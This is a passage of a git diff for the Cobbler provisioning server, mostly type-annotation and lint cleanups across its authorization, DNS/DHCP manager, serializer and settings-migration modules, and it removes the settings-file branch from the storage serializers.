+    from cobbler.items.abstract.base_item import BaseItem
     from cobbler.items.profile import Profile
     from cobbler.items.system import System
 
@@ -108,6 +109,7 @@ def __authorize_snippet(
     :param autoinst: Unused parameter.
     :return: ``1`` if the group is allowed, otherwise ``0``.
     """
+    del api_handle, user, autoinst  # unused
 
     for group in groups:
         if group not in ["admins", "admin"]:
@@ -116,7 +118,7 @@ def __authorize_snippet(
 
 
 def __is_user_allowed(
-    obj: "ITEM", groups: List[str], user: str, resource: Any, arg1: Any, arg2: Any
+    obj: "BaseItem", groups: List[str], user: str, resource: Any, arg1: Any, arg2: Any
 ) -> int:
     """
     Check if a user is allowed to access the resource in question.
@@ -129,6 +131,7 @@ def __is_user_allowed(
     :param arg2: Unused parameter.
     :return: ``1`` if user is allowed, otherwise ``0``.
     """
+    del resource, arg1, arg2  # unused
 
     if user == "<DIRECT>":
         # system user, logged in via web.ss
@@ -171,7 +174,7 @@ def authorize(
         return 1
 
     # Everybody can get read-only access to everything if they pass authorization, they don't have to be in users.conf
-    if resource is not None:
+    if resource is not None:  # type: ignore[reportUnnecessaryComparison]
         # FIXME: /cobbler/web should not be subject to user check in any case
         for user_resource in ["get", "read", "/cobbler/web"]:
             if resource.startswith(user_resource):
@@ -259,7 +262,7 @@ def authorize(
         raise ValueError("Object not found or found multiple times!")
 
     # if the object has no ownership data, allow access regardless
-    if obj is None or obj.owners is None or obj.owners == []:
+    if obj is None or obj.owners is None or obj.owners == []:  # type: ignore[reportUnnecessaryComparison]
         return 1
 
     return __is_user_allowed(obj, found_groups, user, resource, arg1, arg2)
diff --git a/cobbler/modules/installation/post_puppet.py b/cobbler/modules/installation/post_puppet.py
index 2d0cb9d178..5e46fef14d 100644
--- a/cobbler/modules/installation/post_puppet.py
+++ b/cobbler/modules/installation/post_puppet.py
@@ -6,6 +6,7 @@
 Based on:
 https://www.ithiriel.com/content/2010/03/29/writing-install-triggers-cobbler
 """
+
 import logging
 import re
 from typing import TYPE_CHECKING, List
diff --git a/cobbler/modules/installation/pre_puppet.py b/cobbler/modules/installation/pre_puppet.py
index b33799312f..fa71ec13ad 100644
--- a/cobbler/modules/installation/pre_puppet.py
+++ b/cobbler/modules/installation/pre_puppet.py
@@ -6,6 +6,7 @@
 Based on:
 https://www.ithiriel.com/content/2010/03/29/writing-install-triggers-cobbler
 """
+
 import logging
 import re
 from typing import TYPE_CHECKING, List
diff --git a/cobbler/modules/managers/bind.py b/cobbler/modules/managers/bind.py
index 1b2d708294..b5ffb69d5f 100644
--- a/cobbler/modules/managers/bind.py
+++ b/cobbler/modules/managers/bind.py
@@ -125,7 +125,7 @@ def __forward_zones(self) -> Dict[str, Dict[str, List[str]]]:
             zones[zone] = {}
 
         for system in self.systems:
-            for (_, interface) in system.interfaces.items():
+            for _, interface in system.interfaces.items():
                 host: str = interface.dns_name
                 ipv4: str = interface.ip_address
                 ipv6: str = interface.ipv6_address
@@ -217,7 +217,7 @@ def __reverse_zones(self) -> Dict[Any, Any]:
             zones[zone] = {}
 
         for system in self.systems:
-            for (_, interface) in system.interfaces.items():
+            for _, interface in system.interfaces.items():
                 host = interface.dns_name
                 ip_address = interface.ip_address
                 ipv6 = interface.ipv6_address
@@ -435,7 +435,7 @@ def __pretty_print_host_records(
         # particular system
 
         for system in self.systems:
-            for (name, interface) in system.interfaces.items():
+            for name, interface in system.interfaces.items():
                 if interface.dns_name == "":
                     self.logger.info(
                         "Warning: dns_name unspecified in the system: %s, while writing host records",
@@ -489,7 +489,7 @@ def __pretty_print_cname_records(
         # Which results in empty records without any warning to the users
 
         for system in self.systems:
-            for (_, interface) in system.interfaces.items():
+            for _, interface in system.interfaces.items():
                 cnames = interface.cnames
 
                 try:
@@ -548,7 +548,7 @@ def __write_zone_files(self) -> None:
 
         zonefileprefix = self.settings.bind_chroot_path + self.zonefile_base
 
-        for (zone, hosts) in forward.items():
+        for zone, hosts in forward.items():
             metadata = {
                 "cobbler_server": cobbler_server,
                 "serial": serial,
@@ -595,7 +595,7 @@ def __write_zone_files(self) -> None:
             self.logger.info("generating (forward) %s", zonefilename)
             self.templar.render(template_data, metadata, zonefilename)
 
-        for (zone, hosts) in reverse.items():
+        for zone, hosts in reverse.items():
             metadata = {
                 "cobbler_server": cobbler_server,
                 "serial": serial,
diff --git a/cobbler/modules/managers/dnsmasq.py b/cobbler/modules/managers/dnsmasq.py
index 000c003ed6..02d4db94d5 100644
--- a/cobbler/modules/managers/dnsmasq.py
+++ b/cobbler/modules/managers/dnsmasq.py
@@ -8,7 +8,7 @@
 # SPDX-FileCopyrightText: John Eckersberg <jeckersb@redhat.com>
 
 import time
-from typing import TYPE_CHECKING, Any, Dict, List, Optional, Tuple
+from typing import TYPE_CHECKING, Any, Dict, List, Optional, Tuple, cast
 
 from cobbler import utils
 from cobbler.modules.managers import DhcpManagerModule, DnsManagerModule
@@ -179,7 +179,8 @@ def _gen_system_config(
             # where we need something other than ``pxelinux.0``. So we always write a dhcp-host entry with as much
             # info as possible to allow maximum control and flexibility within the dnsmasq config.
 
-            systxt = "dhcp-host=net:" + distro.arch.value.lower() + "," + mac
+            systxt = "dhcp-host=net:" + distro.arch.value.lower() + "," + mac  # type: ignore
+            systxt = cast(str, systxt)
 
             if host != "":
                 systxt += "," + host
diff --git a/cobbler/modules/managers/import_signatures.py b/cobbler/modules/managers/import_signatures.py
index c40c04ff3d..0f9c300598 100644
--- a/cobbler/modules/managers/import_signatures.py
+++ b/cobbler/modules/managers/import_signatures.py
@@ -44,7 +44,9 @@
 
     HAS_HIVEX = True
 except ImportError:
-    HAS_HIVEX = False  # type: ignore
+    REG_SZ = None  # type: ignore[reportConstantRedefinition]
+    REG_EXPAND_SZ = None  # type: ignore[reportConstantRedefinition]
+    HAS_HIVEX = False  # type: ignore[reportConstantRedefinition]
 
 # Import aptsources module if available to obtain repo mirror.
 try:
@@ -833,7 +835,7 @@ def yum_process_comps_file(self, comps_path: str, distribution: "Distro") -> Non
             repo_url = f"{protocol}://@@http_server@@/cobbler/distro_mirror/config/{distribution.name}-{counter}.repo"
             repo_url2 = f"{protocol}://@@http_server@@/cobbler/distro_mirror/{urlseg}"
 
-            distribution.source_repos.append([repo_url, repo_url2])
+            distribution.source_repos.extend([repo_url, repo_url2])
 
             config_dir = os.path.dirname(fname)
             if not os.path.exists(config_dir):
diff --git a/cobbler/modules/managers/in_tftpd.py b/cobbler/modules/managers/in_tftpd.py
index 7eede85b9b..8cc4cd2a69 100644
--- a/cobbler/modules/managers/in_tftpd.py
+++ b/cobbler/modules/managers/in_tftpd.py
@@ -7,7 +7,7 @@
 import glob
 import os.path
 import shutil
-from typing import TYPE_CHECKING, Dict, List, Optional, Union
+from typing import TYPE_CHECKING, Any, Dict, List, Optional, Union
 
 from cobbler import templar, tftpgen, utils
 from cobbler.cexceptions import CX
@@ -60,7 +60,7 @@ def write_boot_files_distro(self, distro: "Distro") -> int:
 
         # Create metadata for the templar function.
         # Right now, just using local_img_path, but adding more Cobbler variables here would probably be good.
-        metadata = {}
+        metadata: Dict[str, Any] = {}
         metadata["local_img_path"] = os.path.join(self.bootloc, "images", distro.name)
         metadata["web_img_path"] = os.path.join(
             self.webdir, "distro_mirror", distro.name
@@ -117,7 +117,7 @@ def sync_single_system(
         self,
         system: "System",
         menu_items: Optional[Dict[str, Union[str, Dict[str, str]]]] = None,
-    ) -> None:
+    ) -> int:
         """
         Write out new ``pxelinux.cfg`` files to the TFTP server folder (or grub/system/<mac> in grub case)
 
@@ -129,6 +129,7 @@ def sync_single_system(
         self.tftpgen.write_all_system_files(system, menu_items)
         # generate any templates listed in the distro
         self.tftpgen.write_templates(system)
+        return 0
 
     def add_single_distro(self, distro: "Distro") -> None:
         """
diff --git a/cobbler/modules/managers/ndjbdns.py b/cobbler/modules/managers/ndjbdns.py
index ef114e0f0f..f68d0639f7 100644
--- a/cobbler/modules/managers/ndjbdns.py
+++ b/cobbler/modules/managers/ndjbdns.py
@@ -62,7 +62,7 @@ def write_configs(self) -> None:
             template_content = template_fd.read()
 
         for system in self.systems:
-            for (_, interface) in list(system.interfaces.items()):
+            for _, interface in list(system.interfaces.items()):
                 host = interface.dns_name
                 ip_address = interface.ip_address
 
diff --git a/cobbler/modules/nsupdate_add_system_post.py b/cobbler/modules/nsupdate_add_system_post.py
index 7165903186..2041d3c805 100644
--- a/cobbler/modules/nsupdate_add_system_post.py
+++ b/cobbler/modules/nsupdate_add_system_post.py
@@ -74,18 +74,18 @@ def run(api: "CobblerAPI", args: List[Any]):
         return 0
 
     # read our settings
-    if str(settings.nsupdate_log) is not None:
+    if str(settings.nsupdate_log) is not None:  # type: ignore[reportUnnecessaryComparison]
         LOGF = open(str(settings.nsupdate_log), "a", encoding="UTF-8")  # type: ignore
         nslog(f">> starting {__name__} {args}\n")
 
-    if str(settings.nsupdate_tsig_key) is not None:
+    if str(settings.nsupdate_tsig_key) is not None:  # type: ignore[reportUnnecessaryComparison]
         keyring = dns.tsigkeyring.from_text(
             {str(settings.nsupdate_tsig_key[0]): str(settings.nsupdate_tsig_key[1])}
         )
     else:
         keyring = None
 
-    if str(settings.nsupdate_tsig_algorithm) is not None:
+    if str(settings.nsupdate_tsig_algorithm) is not None:  # type: ignore[reportUnnecessaryComparison]
         keyring_algo = str(settings.nsupdate_tsig_algorithm)
     else:
         keyring_algo = "HMAC-MD5.SIG-ALG.REG.INT"
@@ -96,10 +96,10 @@ def run(api: "CobblerAPI", args: List[Any]):
     system = api.find_system(args[0])
 
     if system is None or isinstance(system, list):
-        raise ValueError("Search result was ambigous!")
+        raise ValueError("Search result was ambiguous!")
 
     # process all interfaces and perform dynamic update for those with --dns-name
-    for (name, interface) in system.interfaces.items():
+    for name, interface in system.interfaces.items():
         host = interface.dns_name
         host_ip = interface.ip_address
 
diff --git a/cobbler/modules/nsupdate_delete_system_pre.py b/cobbler/modules/nsupdate_delete_system_pre.py
index 871274d1aa..c9c9b6b717 100644
--- a/cobbler/modules/nsupdate_delete_system_pre.py
+++ b/cobbler/modules/nsupdate_delete_system_pre.py
@@ -74,18 +74,18 @@ def run(api: "CobblerAPI", args: List[Any]):
         return 0
 
     # Read our settings
-    if str(settings.nsupdate_log) is not None:
+    if str(settings.nsupdate_log) is not None:  # type: ignore[reportUnnecessaryComparison]
         LOGF = open(str(settings.nsupdate_log), "a", encoding="UTF-8")  # type: ignore
         nslog(f">> starting {__name__} {args}\n")
 
-    if str(settings.nsupdate_tsig_key) is not None:
+    if str(settings.nsupdate_tsig_key) is not None:  # type: ignore[reportUnnecessaryComparison]
         keyring = dns.tsigkeyring.from_text(
             {str(settings.nsupdate_tsig_key[0]): str(settings.nsupdate_tsig_key[1])}
         )
     else:
         keyring = None
 
-    if str(settings.nsupdate_tsig_algorithm) is not None:
+    if str(settings.nsupdate_tsig_algorithm) is not None:  # type: ignore[reportUnnecessaryComparison]
         keyring_algo = str(settings.nsupdate_tsig_algorithm)
     else:
         keyring_algo = "HMAC-MD5.SIG-ALG.REG.INT"
@@ -96,10 +96,10 @@ def run(api: "CobblerAPI", args: List[Any]):
     system = api.find_system(args[0])
 
     if system is None or isinstance(system, list):
-        raise ValueError("Search result was ambigous!")
+        raise ValueError("Search result was ambiguous!")
 
     # process all interfaces and perform dynamic update for those with --dns-name
-    for (name, interface) in system.interfaces.items():
+    for name, interface in system.interfaces.items():
         host = interface.dns_name
         host_ip = interface.ip_address
 
diff --git a/cobbler/modules/serializers/__init__.py b/cobbler/modules/serializers/__init__.py
index 3a3306c09b..6b33e6e1ac 100644
--- a/cobbler/modules/serializers/__init__.py
+++ b/cobbler/modules/serializers/__init__.py
@@ -2,7 +2,8 @@
 This module contains code to persist the in memory state of Cobbler on a target. The name of the target should be the
 name of the Python file. Cobbler is currently only tested against the file serializer.
 """
-from typing import TYPE_CHECKING, Any, Dict, List, Optional, Union
+
+from typing import TYPE_CHECKING, Any, Dict, List
 
 if TYPE_CHECKING:
     from cobbler.api import CobblerAPI
@@ -49,14 +50,12 @@ def serialize(self, collection: "Collection[ITEM]") -> None:
             "The implementation for the configured serializer is missing!"
         )
 
-    def deserialize_raw(
-        self, collection_type: str
-    ) -> Union[List[Optional[Dict[str, Any]]], Dict[str, Any]]:
+    def deserialize_raw(self, collection_type: str) -> List[Dict[str, Any]]:
         """
-        Read the collection from the disk or read the settings file.
+        Read the collection from the disk.
 
         :param collection_type: The collection type to read.
-        :return: The list of collection dicts or settings dict.
+        :return: The list of collection dicts.
         """
         raise NotImplementedError(
             "The implementation for the configured serializer is missing!"
diff --git a/cobbler/modules/serializers/file.py b/cobbler/modules/serializers/file.py
index 9609de845d..edfb860215 100644
--- a/cobbler/modules/serializers/file.py
+++ b/cobbler/modules/serializers/file.py
@@ -15,7 +15,6 @@
 from typing import TYPE_CHECKING, Any, Dict, List
 
 import cobbler.api as capi
-from cobbler import settings
 from cobbler.cexceptions import CX
 from cobbler.modules.serializers import StorageBase
 
@@ -99,9 +98,6 @@ def serialize(self, collection: "Collection[ITEM]") -> None:
                 self.serialize_item(collection, item)
 
     def deserialize_raw(self, collection_type: str) -> List[Dict[str, Any]]:
-        if collection_type == "settings":
-            return settings.read_settings_file()  # type: ignore
-
         results: List[Dict[str, Any]] = []
 
         path = os.path.join(self.libpath, collection_type)
@@ -121,20 +117,20 @@ def deserialize_raw(self, collection_type: str) -> List[Dict[str, Any]]:
                             f"The file name {name}.json does not match the {_dict['name']} {collection_type}!"
                         )
             results.append(_dict)
-        return results
+        return results  # type: ignore
 
     def deserialize(
         self, collection: "Collection[ITEM]", topological: bool = True
     ) -> None:
         datastruct = self.deserialize_raw(collection.collection_types())
-        if topological and isinstance(datastruct, list):  # type: ignore
+        if topological:
             datastruct.sort(key=lambda x: x.get("depth", 1))
         try:
             if isinstance(datastruct, dict):
                 # This is currently the corner case for the settings type.
                 collection.from_dict(datastruct)  # type: ignore
             elif isinstance(datastruct, list):  # type: ignore
-                collection.from_list(datastruct)
+                collection.from_list(datastruct)  # type: ignore
         except Exception as exc:
             logger.error(
                 "Error while loading a collection: %s. Skipping collection %s!",
diff --git a/cobbler/modules/serializers/mongodb.py b/cobbler/modules/serializers/mongodb.py
index f5c99ae6fb..1fe9c66548 100644
--- a/cobbler/modules/serializers/mongodb.py
+++ b/cobbler/modules/serializers/mongodb.py
@@ -8,9 +8,8 @@
 # SPDX-FileCopyrightText: James Cammarata <jimi@sngx.net>
 
 import logging
-from typing import TYPE_CHECKING, Any, Dict, List, Mapping, Optional, Union
+from typing import TYPE_CHECKING, Any, Dict, List, Mapping, Optional
 
-from cobbler import settings
 from cobbler.cexceptions import CX
 from cobbler.modules.serializers import StorageBase
 
@@ -21,12 +20,16 @@
     from cobbler.cobbler_collections.collection import ITEM, Collection
 
 try:
+    # pylint: disable-next=ungrouped-imports
     from pymongo.errors import ConfigurationError, ConnectionFailure, OperationFailure
     from pymongo.mongo_client import MongoClient
 
     PYMONGO_LOADED = True
 except ModuleNotFoundError:
-    # FIXME: log message
+    # pylint: disable=invalid-name
+    ConfigurationError = None
+    ConnectionFailure = None
+    OperationFailure = None
     # This is a constant! pyright just doesn't understand it.
     PYMONGO_LOADED = False  # type: ignore
 
@@ -56,7 +59,7 @@ class MongoDBSerializer(StorageBase):
     def __init__(self, api: "CobblerAPI"):
         super().__init__(api)
         self.logger = logging.getLogger()
-        self.mongodb: Optional[MongoClient[Mapping[str, Any]]] = None
+        self.mongodb: Optional["MongoClient[Mapping[str, Any]]"] = None
         self.mongodb_database: Optional["Database[Mapping[str, Any]]"] = None
         self.database_name = "cobbler"
         self.__connect()
@@ -65,6 +68,8 @@ def __connect(self) -> None:
         """
         Reads the config file for mongodb and then connects to the mongodb.
         """
+        if ConnectionFailure is None or ConfigurationError is None:
+            raise ImportError("MongoDB is not correctly imported!")
         host = self.api.settings().mongodb.get("host", "localhost")
         port = self.api.settings().mongodb.get("port", 27017)
         # TODO: Make database name configurable in settings
@@ -93,6 +98,8 @@ def _rename_collection(self, old_collection: str, new_collection: str) -> None:
         :param old_collection: Previous collection name.
         :param old_collection: New collection name.
         """
+        if OperationFailure is None:
+            raise ImportError("MongoDB not correctly imported!")
         if (
             old_collection != "setting"
             and old_collection in self.mongodb_database.list_collection_names()  # type: ignore
@@ -127,12 +134,7 @@ def serialize(self, collection: "Collection[ITEM]") -> None:
             for item in collection:
                 self.serialize_item(collection, item)
 
-    def deserialize_raw(
-        self, collection_type: str
-    ) -> Union[List[Optional[Dict[str, Any]]], Dict[str, Any]]:
-        if collection_type == "settings":
-            return settings.read_settings_file()  # type: ignore
-
+    def deserialize_raw(self, collection_type: str) -> List[Dict[str, Any]]:
         if self.mongodb_database is None:
             raise ValueError("Database not available!")
 
diff --git a/cobbler/modules/serializers/sqlite.py b/cobbler/modules/serializers/sqlite.py
index 5f082b05a8..8c86222b1a 100644
--- a/cobbler/modules/serializers/sqlite.py
+++ b/cobbler/modules/serializers/sqlite.py
@@ -9,15 +9,15 @@
 import logging
 import os
 import sqlite3
-from typing import TYPE_CHECKING, Any, Dict, List, Optional, Union
+from typing import TYPE_CHECKING, Any, Dict, List, Optional
 
-from cobbler import settings
 from cobbler.cexceptions import CX
 from cobbler.modules.serializers import StorageBase
 
 if TYPE_CHECKING:
     from cobbler.api import CobblerAPI
     from cobbler.cobbler_collections.collection import ITEM, Collection
+    from cobbler.items.abstract.base_item import BaseItem
 
 
 def register() -> str:
@@ -144,7 +144,7 @@ def __upsert_items(
         except sqlite3.DatabaseError as error:
             raise CX(f'Unable to upsert into table "{table_name}": {error}') from error
 
-    def __build_bind_vars(self, item: "ITEM") -> Dict[str, str]:
+    def __build_bind_vars(self, item: "BaseItem") -> Dict[str, str]:
         """
         Build the bind variables for Insert/Update.
 
@@ -185,11 +185,10 @@ def serialize(self, collection: "Collection[ITEM]") -> None:
         """
         self.__connect()
         ctype = collection.collection_types()
-        if ctype != "settings":
-            bind_vars: List[Optional[Dict[str, str]]] = []
-            for item in collection:
-                bind_vars.append(self.__build_bind_vars(item))
-            self.__upsert_items(ctype, bind_vars)
+        bind_vars: List[Optional[Dict[str, str]]] = []
+        for item in collection:
+            bind_vars.append(self.__build_bind_vars(item))
+        self.__upsert_items(ctype, bind_vars)
 
     def serialize_delete(self, collection: "Collection[ITEM]", item: "ITEM") -> None:
         """
@@ -211,20 +210,15 @@ def serialize_delete(self, collection: "Collection[ITEM]", item: "ITEM") -> None
                 f'Unable to delete from table "{table_name}": {error}'  # nosec
             ) from error
 
-    def deserialize_raw(
-        self, collection_type: str
-    ) -> Union[List[Optional[Dict[str, Any]]], Dict[str, Any]]:
+    def deserialize_raw(self, collection_type: str) -> List[Dict[str, Any]]:
         """
-        Read the collection from the table or read the settings file.
+        Read the collection from the table.
 
         :param collection_type: The collection type to read.
-        :return: The list of collection dicts or settings dict.
+        :return: The list of collection dicts.
         """
-        if collection_type == "settings":
-            return settings.read_settings_file()
-
         self.__connect()
-        results: List[Optional[Dict[str, Any]]] = []
+        results: List[Dict[str, Any]] = []
         if not self.__is_table_exists(collection_type):
             return results
 
@@ -266,11 +260,7 @@ def deserialize(
         datastruct = self.deserialize_raw(collection.collection_types())
         if topological and isinstance(datastruct, list):  # type: ignore
             datastruct.sort(key=lambda x: x.get("depth", 1))  # type: ignore
-        if isinstance(datastruct, dict):
-            # This is currently the corner case for the settings type.
-            collection.from_dict(datastruct)  # type: ignore
-        elif isinstance(datastruct, list):  # type: ignore
-            collection.from_list(datastruct)  # type: ignore
+        collection.from_list(datastruct)  # type: ignore
 
     def deserialize_item(self, collection_type: str, name: str) -> Dict[str, Any]:
         """
diff --git a/cobbler/modules/sync_post_wingen.py b/cobbler/modules/sync_post_wingen.py
index 548b824c55..8ffa0b1633 100644
--- a/cobbler/modules/sync_post_wingen.py
+++ b/cobbler/modules/sync_post_wingen.py
@@ -51,6 +51,7 @@
 from cobbler.utils import filesystem_helpers
 
 try:
+    # pylint: disable=import-error
     import hivex  # type: ignore
     from hivex.hive_types import REG_BINARY  # type: ignore
     from hivex.hive_types import REG_DWORD  # type: ignore
@@ -60,9 +61,14 @@
     HAS_HIVEX = True
 except Exception:
     # This is only defined once in each case.
-    HAS_HIVEX = False  # type: ignore
+    REG_BINARY = None  # type: ignore[reportConstantRedefinition]
+    REG_DWORD = None  # type: ignore[reportConstantRedefinition]
+    REG_MULTI_SZ = None  # type: ignore[reportConstantRedefinition]
+    REG_SZ = None  # type: ignore[reportConstantRedefinition]
+    HAS_HIVEX = False  # type: ignore[reportConstantRedefinition]
 
 try:
+    # pylint: disable=import-error
     import pefile  # type: ignore
 
     HAS_PEFILE = True
@@ -577,8 +583,10 @@ def gen_win_files(distro: "Distro", meta: Dict[str, Any]):
 
         distro = profile.get_conceptual_parent()  # type: ignore
 
-        if distro and distro.breed == "windows":
+        if distro and distro.breed == "windows":  # type: ignore[reportUnknownMemberType]
             logger.info("System: %s", system.name)
             meta = utils.blender(api, False, system)
-            gen_win_files(distro, autoinstall_meta)
+            autoinstall_meta = meta.get("autoinstall_meta", {})
+            meta.update(autoinstall_meta)
+            gen_win_files(distro, meta)  # type: ignore[reportUnknownArgumentType]
     return 0
diff --git a/cobbler/power_manager.py b/cobbler/power_manager.py
index 9f74af527e..daf24251fd 100644
--- a/cobbler/power_manager.py
+++ b/cobbler/power_manager.py
@@ -152,7 +152,7 @@ def _get_power_input(
 
         self._check_power_conf(system, user, password)
         power_input = ""
-        if power_operation is None or power_operation not in ["on", "off", "status"]:
+        if not power_operation or power_operation not in ["on", "off", "status"]:
             raise CX("invalid power operation")
         power_input += "action=" + power_operation + "\n"
         if system.power_address:
diff --git a/cobbler/remote.py b/cobbler/remote.py
index 74dcee91b6..14c937b780 100644
--- a/cobbler/remote.py
+++ b/cobbler/remote.py
@@ -165,7 +165,8 @@
     import xmlrpc.client
 
     from cobbler.api import CobblerAPI
-    from cobbler.cobbler_collections.collection import ITEM, ITEM_UNION
+    from cobbler.cobbler_collections.collection import ITEM
+    from cobbler.items.abstract.base_item import BaseItem
     from cobbler.items.distro import Distro
     from cobbler.items.image import Image
     from cobbler.items.profile import Profile
@@ -191,7 +192,7 @@ def __init__(self, api: "CobblerAPI"):
         self.api = api
         self.logger = logging.getLogger()
         self.token_cache: Dict[str, Tuple[Any, ...]] = {}
-        self.unsaved_items: Dict[str, Tuple[float, "ITEM_UNION"]] = {}
+        self.unsaved_items: Dict[str, Tuple[float, "BaseItem"]] = {}
         self.timestamp = self.api.last_modified_time()
         self.events: Dict[str, CobblerEvent] = {}
         self.shared_secret = utils.get_shared_secret()
@@ -554,6 +555,8 @@ def runner(self: "CobblerThread"):
                     )
 
         if self.api.settings().lazy_start:
+            if isinstance(self.shared_secret, int):
+                raise ValueError("Shared Secret could not successfully be retrieved!")
             token = self.login("", self.shared_secret)
             return self.__start_task(runner, token, "load_items", "Loading items", {})
         return ""
@@ -850,7 +853,7 @@ def __paginate(
             },
         )
 
-    def __get_object(self, object_id: str) -> "ITEM_UNION":
+    def __get_object(self, object_id: str) -> "BaseItem":
         """
         Helper function. Given an object id, return the actual object.
 
@@ -2717,7 +2720,7 @@ def get_valid_system_boot_loaders(
             return [f"# object not found: {system_name}"]
         parent = obj.get_conceptual_parent()
 
-        if parent and parent.COLLECTION_TYPE == "profile":
+        if parent and parent.COLLECTION_TYPE == "profile":  # type: ignore[reportUnnecessaryComparison]
             return parent.boot_loaders  # type: ignore
         return self.api.get_valid_obj_boot_loaders(parent)  # type: ignore
 
diff --git a/cobbler/settings/__init__.py b/cobbler/settings/__init__.py
index ab581e8b2e..2d3d57abb6 100644
--- a/cobbler/settings/__init__.py
+++ b/cobbler/settings/__init__.py
@@ -294,16 +294,6 @@ def __init__(self) -> None:
         self.cache_enabled = False
         self.lazy_start = False
 
-    def to_string(self) -> str:
-        """
-        Returns the kernel options as a string.
-
-        :return: The multiline string with the kernel options.
-        """
-        buf = "defaults\n"
-        buf += f"kernel options  : {self.__dict__['kernel_options']}\n"
-        return buf
-
     def to_dict(self, resolved: bool = False) -> Dict[str, Any]:
         """
         Return an easily serializable representation of the config.
diff --git a/cobbler/settings/migrations/V3_0_0.py b/cobbler/settings/migrations/V3_0_0.py
index 28688ff042..36d7b32d7b 100644
--- a/cobbler/settings/migrations/V3_0_0.py
+++ b/cobbler/settings/migrations/V3_0_0.py
@@ -1,6 +1,7 @@
 """
 Migration from V2.8.5 to V3.0.0
 """
+
 # SPDX-License-Identifier: GPL-2.0-or-later
 # SPDX-FileCopyrightText: 2021 Dominik Gedon <dgedon@suse.de>
 # SPDX-FileCopyrightText: 2021 Enno Gotthold <egotthold@suse.de>
@@ -100,7 +101,7 @@
         ): list,
         "power_management_default_type": str,
         "power_template_dir": str,
-        Optional("proxy_url_ext", default=""): Or(None, str),
+        Optional("proxy_url_ext", default=""): Or(None, str),  # type: ignore
         "proxy_url_int": str,
         "puppet_auto_setup": int,
         "puppetca_path": str,
@@ -212,7 +213,7 @@ def migrate(settings: Dict[str, Any]) -> Dict[str, Any]:
         "tftpboot_location": "/srv/tftpboot",
         "webdir_whitelist": [],
     }
-    for (key, value) in missing_keys.items():
+    for key, value in missing_keys.items():
         new_setting = helper.Setting(key, value)
         helper.key_add(new_setting, settings)
 
@@ -333,7 +334,7 @@ def transform_key(key: str, value: Any) -> Any:
 
         for old_item in old_collection:
             print(f"    Processing {old_item['name']}")
-            new_item = {}
+            new_item: Dict[str, Any] = {}
             for key in old_item:
                 if key in remove:
                     continue
diff --git a/cobbler/settings/migrations/V3_1_2.py b/cobbler/settings/migrations/V3_1_2.py
index a5b6ced7dd..7ea1e5a60e 100644
--- a/cobbler/settings/migrations/V3_1_2.py
+++ b/cobbler/settings/migrations/V3_1_2.py
@@ -96,7 +96,7 @@
             ],
         ): list,
         "power_management_default_type": str,
-        Optional("proxy_url_ext", default=""): Or(None, str),
+        Optional("proxy_url_ext", default=""): Or(None, str),  # type: ignore
         "proxy_url_int": str,
         "puppet_auto_setup": int,
         "puppetca_path": str,
diff --git a/cobbler/settings/migrations/V3_2_0.py b/cobbler/settings/migrations/V3_2_0.py
index 22c1b93cac..f3b13b6468 100644
--- a/cobbler/settings/migrations/V3_2_0.py
+++ b/cobbler/settings/migrations/V3_2_0.py
@@ -97,7 +97,7 @@
             ],
         ): list,
         "power_management_default_type": str,
-        Optional("proxy_url_ext", default=""): Or(None, str),
+        Optional("proxy_url_ext", default=""): Or(None, str),  # type: ignore
         "proxy_url_int": str,
         "puppet_auto_setup": int,
         "puppetca_path": str,
@@ -186,7 +186,7 @@ def migrate(settings: Dict[str, Any]) -> Dict[str, Any]:
         "cache_enabled": 1,
         "reposync_rsync_flags": "-rltDv --copy-unsafe-links",
     }
-    for (key, value) in missing_keys.items():
+    for key, value in missing_keys.items():
         new_setting = helper.Setting(key, value)
         helper.key_add(new_setting, settings)
 
diff --git a/cobbler/settings/migrations/V3_3_0.py b/cobbler/settings/migrations/V3_3_0.py
index 066cffddba..b1be6c3353 100644
--- a/cobbler/settings/migrations/V3_3_0.py
+++ b/cobbler/settings/migrations/V3_3_0.py
@@ -375,7 +375,7 @@ def migrate(settings: Dict[str, Any]) -> Dict[str, Any]:
         "next_server_v6": "::1",
         "syslinux_dir": "/usr/share/syslinux",
     }
-    for (key, value) in missing_keys.items():
+    for key, value in missing_keys.items():
         new_setting = helper.Setting(key, value)
         helper.key_add(new_setting, settings)
 
diff --git a/cobbler/settings/migrations/V3_3_1.py b/cobbler/settings/migrations/V3_3_1.py
index 9455120542..253e68b554 100644
--- a/cobbler/settings/migrations/V3_3_1.py
+++ b/cobbler/settings/migrations/V3_3_1.py
@@ -286,7 +286,7 @@ def migrate(settings: Dict[str, Any]) -> Dict[str, Any]:
         "syslinux_memdisk_folder": "/usr/share/syslinux",
         "syslinux_pxelinux_folder": "/usr/share/syslinux",
     }
-    for (key, value) in missing_keys.items():
+    for key, value in missing_keys.items():
         new_setting = helper.Setting(key, value)
         helper.key_add(new_setting, settings)
 
diff --git a/cobbler/settings/migrations/V3_3_3.py b/cobbler/settings/migrations/V3_3_3.py
index f555fb0ed0..0146a1e3b8 100644
--- a/cobbler/settings/migrations/V3_3_3.py
+++ b/cobbler/settings/migrations/V3_3_3.py
@@ -1,6 +1,7 @@
 """
 Migration from V3.3.2 to V3.3.3
 """
+
 # SPDX-License-Identifier: GPL-2.0-or-later
 # SPDX-FileCopyrightText: 2022 Dominik Gedon <dgedon@suse.de>
 # SPDX-FileCopyrightText: Copyright SUSE LLC
diff --git a/cobbler/settings/migrations/V3_3_4.py b/cobbler/settings/migrations/V3_3_4.py
index 28b6707d21..880b417a8c 100644
--- a/cobbler/settings/migrations/V3_3_4.py
+++ b/cobbler/settings/migrations/V3_3_4.py
@@ -1,6 +1,7 @@
 """
 Migration from V3.3.3 to V3.3.4
 """
+
 # SPDX-License-Identifier: GPL-2.0-or-later
 # SPDX-FileCopyrightText: 2024 Enno Gotthold <egotthold@suse.com
 # SPDX-FileCopyrightText: Copyright SUSE LLC
diff --git a/cobbler/settings/migrations/V3_3_5.py b/cobbler/settings/migrations/V3_3_5.py
index c649c50de5..83f5b369bb 100644
--- a/cobbler/settings/migrations/V3_3_5.py
+++ b/cobbler/settings/migrations/V3_3_5.py
@@ -1,6 +1,7 @@
 """
 Migration from V3.3.4 to V3.3.5
 """
+
 # SPDX-License-Identifier: GPL-2.0-or-later
 # SPDX-FileCopyrightText: 2024 Enno Gotthold <egotthold@suse.com
 # SPDX-FileCopyrightText: Copyright SUSE LLC
diff --git a/cobbler/settings/migrations/__init__.py b/cobbler/settings/migrations/__init__.py
index c453d7113d..6a73b2f01f 100644
--- a/cobbler/settings/migrations/__init__.py
+++ b/cobbler/settings/migrations/__init__.py
@@ -4,6 +4,7 @@
